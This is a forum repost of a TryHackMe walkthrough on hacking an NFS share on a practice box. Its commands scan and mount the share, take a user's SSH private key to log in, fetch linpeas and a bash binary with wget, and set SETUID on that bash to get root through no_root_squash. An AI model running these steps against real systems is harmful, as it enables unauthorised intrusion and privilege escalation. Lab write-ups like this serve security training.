![]() |
|
[Tut] Hacking Network File System (NFS) – A TryHackMe Walkthrough - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] Hacking Network File System (NFS) – A TryHackMe Walkthrough (/thread-100541.html) |
[Tut] Hacking Network File System (NFS) – A TryHackMe Walkthrough - xSicKxBot - 01-08-2023 Hacking Network File System (NFS) – A TryHackMe Walkthrough 5/5 – (1 vote) OBJECTIVE ![]() NFS (network file system) is a file system that enables file sharing between computers of different operating systems (Windows/Linux/Mac). In this practice box from TryHackMe, we will hack into NFS and exploit a misconfiguration (No-root Squash) to obtain root access and find our final Code: root.txtWHAT IS NO-ROOT SQUASH? ![]() No-root Squash is an uncommon configuration (some might say a misconfiguration) on the NFS file system. When enabled, it allows remote users to change file permissions on any file and also to add a Code: SETUIDCode: nfsnobody Recommended: If you are interested in learning more technical details about how this works, I’d recommend this article on Code: no_root_squashENUMERATION ![]() We’ll start with a standard Nmap scan of all ports with the Code: -p-Code: nmap $targetIP -p-The scan shows an Code: nfsCode: showmount -e $targetIP( Code: -e![]() Let’s go ahead and mount the Code: /homeCode: nfsCode: mount -t nfs $targetIP:/home /mount( Code: -tAnd now we can continue further enumeration by poking around the filesystem. Code: cd /mount
ls -laWe find a user folder in the home directory, Code: cappuccinoCode: .sshCode: id_rsaINITIAL FOOTHOLD – USER CAPPUCCINO ![]() After copying the Code: id_rsaCode: ssh -i id_rsa cappuccino@$targetIP![]() Now that we have our initial foothold, we can grab a copy of the well-known script Code: linpeas.shCode: /mountCode: wgetCode: sudo wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh Before running the sh program from our target machine, we need to add execute permissions to the file from our attack machine. The beauty of mounting NFS file systems in Linux is evident here as we can easily add permissions to Code: linpeas.shCode: chmod +x linpeas.shNow that Code: linpeas.shCode: /homeCode: ./linpeas.shThis will dump a long text file full of details about the target machine. The most interesting things for privilege escalation are highlighted in yellow with red text. Scrolling through the results, we quickly find the Code: no_root_squash![]() EXPLOITING NO_ROOT_SQUASH ![]() First, let’s grab the bash executable for Ubuntu Server 18.04 from the link on TryHackMe. Code: Sudo wget https://github.com/TheRealPoloMints/Blog/blob/master/Security%20Challenge%20Walkthroughs/Networks%202/bashNow we add the Code: SETUIDCode: no_root_squashCode: sudo chmod +sx bashRunning bash now from our target machine doesn’t seem to change us to the root user yet. Code: ./bash![]() The final trick we need to use is to enable persistence mode with the flag Code: -p![]() If you liked this tutorial, you’d probably love my video walkthrough as well: Recommended Tutorial: Alice in Wonderland — TryHackMe
|